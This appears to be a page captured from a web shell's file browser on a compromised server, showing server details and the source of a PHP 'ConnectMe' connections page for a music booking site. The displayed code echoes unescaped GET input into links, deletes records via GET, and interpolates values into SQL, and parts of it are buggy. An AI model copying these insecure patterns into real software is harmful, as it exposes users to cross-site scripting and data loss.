( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/..//pages/connections.php
<?php 
$widget = $catalogid5;  
 

 $content = $_GET["content"];
 $delnews = $_GET["delnews"]; 
  $distri = $_GET["distri"];
if ($delnews=="yes") {
 $newsid = $db->base64url_decode($newsid); 
$db->delConnection($newsid);

/* header("Location: indexAlone.php?mode=connectme&connections=1&msg=Successfully+deleted");*/
}





 $VideoPath = "uploads/live/";
$live_img = 'uploads/images/';
 $videouser = $_SESSION['euserid'];
 
 


		 


//no error reporting
//@error_reporting(0);

if (empty($page)){
$page = 0;
}

$record =6;

 













$result = $db->getmyconnections($page,$record,$yanani,$kind);
if (empty($result))
		{  header("Location: indexAlone.php?mode=connectme&min=yes&msg=You+have+not+Sent+or+Received+any+Connections");}
?>


<?php 

$page_limit = $record ; 
$pagenext = $page+1;
$result1 = $db->getmyconnections($pagenext,$record,$yanani,$kind);
		
		
if (!isset($_GET['page']) )
{ $start=0; } else
{ $start = ($_GET['page'] - 1) * $page_limit; }


$rs_all = mysqli_query($link,"select count(*) as total_all from connections where catalogid=$videouser or yanani='$videouser'") or die(mysql_error());

 list($allvids) = mysqli_fetch_row($rs_all);?>


<h2 style="margin-top:0px" class="post-title"><i class="icon-tasks"></i>ConnectMe Status</h2> 
 
   <table width="100%" border="0">
  <tr>
    <td  style="padding:0px">
    

<p class="h4 text-muted">See the status of your connections and reponses. <br />
  Click to see more details</p> 

 
  
  
   
     
    </td>
    <td width="100" align="right" valign="top"> 
 <ul class="pagination pagination pull-right "> 
  
      <?php
         
		if ($page!=0)
		{
		$pagepre = $page-1;		
		?>
			
		<li> <a href="<?php echo $PHP_SELF ?>?page=<?php echo $pagepre ?>&catid=<?php echo $catid ?>&mode=connectme&connections=1<?php  if (!empty($content)) 
  {
	echo "&content=$content";
  } ?>"><i class="icon-chevron-left"></i> </a> </li>
		<?php }else
		
		{?>
			<li><a ><i class="icon-chevron-left"></i></a></li>
		<?php } ?>
		
		 
	    <?php
	  
		if (!empty($result1))
		{?>
		<li><a href="<?php echo $PHP_SELF ?>?page=<?php echo $pagenext ?>&catid=<?php echo $catid ?>&mode=connectme&connections=1<?php  if (!empty($content)) 
  {
	echo "&content=$content";
  } ?>"><i class="icon-chevron-right"></i></a></li>
		<?php }
		
		
		else
		
		{?>
			<li><a><i class="icon-chevron-right"></i></a></li>
		<?php }
		?> 
			  
 </ul> 




    
    </td>
  </tr>
</table>

  
    
    
  
			 
       
		  
		  
		  <?php foreach ($result as $key => $val) {
	   $id = stripslashes($val["id"]);
		   
	       $isdisplay = stripslashes($val["isdisplay"]);
	       
			 $description = stripslashes($val["description"]);
$when = stripslashes($val["when"]);
 $where = stripslashes($val["where"]);	
    $type = stripslashes($val["type"]);
	$offer = stripslashes($val["offer"]);
	$counteroffer = stripslashes($val["counteroffer"]);
	$finaloffer = stripslashes($val["finaloffer"]);	
	$deal = stripslashes($val["deal"]);
	   $yanani = stripslashes($val["yanani"]);
	 $picturemeY=$db->Profile_Pic($val["yanani"]);	  
 $picturemeC=$db->Profile_Pic($val["catalogid"]); 	
 $resultY = $db->getuser($val["yanani"]);
 $resultC = $db->getuser($val["catalogid"]);
 $comments = stripslashes($val["comments"]);
  $id = $db->base64url_encode($id);



   if(($yanani == $videouser) && ($isdisplay == 9)) 
  { 
    
  } 
  else
  
  {
	  
	




 switch ($type)
					{
						case '1':
						$str ="Gig";
						$icon ='<i class="icon-music"></i>';
						$color ='btn-info';
						break;
						case '2':
						$str ="Meeting";
						$icon ='<i class="icon-coffee"></i>';
						$color ='btn-warning';
						
						break;
						case '3':
						$str ="Studio";
						$icon ='<i class="icon-microphone"></i>';
						$color ='btn-success';
						
						break;
						case '4':
						$str ="Collabo";
						$icon ='<i class="icon-group"></i>';
						$color ='btn-primary';
						break;
						 	case '5':
						$str ="Interview";
						$icon ='<i class="icon-facetime-video"></i>';
						$color ='btn-danger';
						break;
						 
						 
						
					}
					
	switch ($isdisplay)
					{
				 
				 		case '0':
						$ostr ="R";
						$ostr2 ="Request";
						break;
						case '4':
						$ostr ="O";
						$ostr2 ="Initial Offer";
						break;
						 	case '5':
						$ostr ="C";
						$ostr2 ="Counter Offer";
						break;
						 	case '6':
						$ostr ="F";
						$ostr2 ="Final Offer";
						break;
						 
						  	case '7':
						$ostr ="D";
						$ostr2 ="This is a Deal";
						break;
						  	case '8':
						$ostr ="P";
						$ostr2 ="Paid";
						break;
						
					}	

  
    if($yanani == $videouser) 
  { 
  $who =$resultC[0]["catalogname"];
 
  $status =" You Received <strong>$str</strong>   request from $who";
  $catalogid = stripslashes($val["catalogid"]);
   $trigger =1;
   $action = "Received";
    
	  if($isdisplay == 4){ $status ="You responded to $who with an offer ";  }
	  
	  if($isdisplay == 5){ $status ="$who  sent a counter offer for you ";  }
	 if($isdisplay == 6){ $status ="You responded to $who with the final offer ";  }
	   if($isdisplay == 7){ $status ="$who  and Yourself have a Deal! "; }
	if($isdisplay == 8){ $status ="$who  has sent funds for the $str ";  }
	
	
	
	
  } 
  else 
  { 
      $who =$resultY[0]["catalogname"];
	  $status ="You sent <strong>$str</strong> request to $who";
	  $catalogid = stripslashes($val["yanani"]);
	  $trigger =0;
	  $action = "Delivered";
	  if($isdisplay == 4){ $status ="$who responded to <strong>$str</strong> request  with an offer ";  }
	  
	  if($isdisplay == 5){ $status ="You  sent a counter offer to $who ";  }
	  if($isdisplay == 6){ $status ="$who has the final offer ";  }
	   if($isdisplay == 7){ $status ="$who and Yourself have a Deal! ";  }
	   if($isdisplay == 8){ $status ="$who  has sent funds for the  $str";  }
	  
	  }
	             ?>

		  
 <li  class="list-group-item<?php  if ($trigger ==1 ){ ?> bg-light dk  <?php } ?><?php  if ($isdisplay ==4 ){ ?>  <?php } ?>"> 
       
        <table cellspacing="0" cellpadding="0" style="font-size:20px">
         
          <tr >
                
 
             
		            <td width="64" valign="middle"> 
		              
		              
		              
		      <span  class="thumb pull-left m-r"> 
             <?php  $pichaC=$db->Profile_Pic($catalogid); 
              
            ?>
             
             <img src="<?php echo $siteaddress;?>taswira.php?width=100&height=100&cropratio=1:1&image=/v/uploads/gthumbs/<?php echo $pichaC ?>" class="img-circle">
              
             <?php    
		  
	      ?>  
              </span> 
		              
		              </td>
            <td width="100%" valign="middle" > 
             
            
       
                  
    <a class="btn <?php echo $color ?> m-l-lg" title="<?php echo $ostr2 ?>">    <?php print $icon; ?> <?php echo  $ostr  ?> </a>
    
<a class="btn btn-info m-l-lg" href="indexAlone.php?mode=connectme&connections=1&view=<?php echo $id ?>&min=yes">    
<span style="color:#fff;"> <?php echo $status ?>   </span> </a>
		              
		              
	 	               
		            
          
        
        
        
     
            </td>
          
      
            <?php /*?>
                            <td width="86" align="left" style="padding-left:2px"> 
                        
              <?php
                switch($isdisplay){
				
			 
              
				 case "3":
                ?>  
		              <a  href="indexAlone.php?mode=connectme&connections=1&view=<?php echo $id ?>&min=yes" class="btn btn-success m-l "><i class="icon-check-sign icon-lg  text-white"></i> <?php echo $action  ?></a> 
  <?php
                break;
                
                
                case "4":
                ?>  
		               <a  href="indexAlone.php?mode=connectme&connections=1&view=<?php echo $id ?>&min=yes" class="btn btn-primary m-lr "><i class="icon-reply icon-lg  text-white"></i> Replied </a> 
  <?php
                break;
                
                case "0":
                ?> 
		               <a  href="indexAlone.php?mode=connectme&connections=1&view=<?php echo $id ?>&min=yes" class="btn btn-danger m-l "><i class="icon-check-sign icon-lg  text-white"></i> Declined </a> 
		              <?php
                break;                
                }
                ?>  
                         
               
                     </td><?php */?>
              
             
                      
                      <td width="18"  >  <a  href="indexAlone.php?mode=connectme&connections=1&view=<?php echo $id ?>&min=yes" class=" m-r m-l "><i class="icon-edit  "></i>  </a>  </td><td width="18"> 
                      
                      <?php  if ( ($isdisplay != 4) || ($isdisplay != 5)){ ?> <a  href="indexAlone.php?mode=connectme&connections=1&min=yes&newsid=<?php print  $msg_idX; ?>&catid=<?php print "$catid"; ?>&delnews=yes"> <i class="icon-trash text-danger"></i></a><?php   } ?></td>       
                      
                   
                  
                  </tr></table>
        
        
        </li>
          
	  
	  
  
  
  
  
  
  
  <?php } ?> 














		  
		  
		  
		  <?php
           
              }
              ?>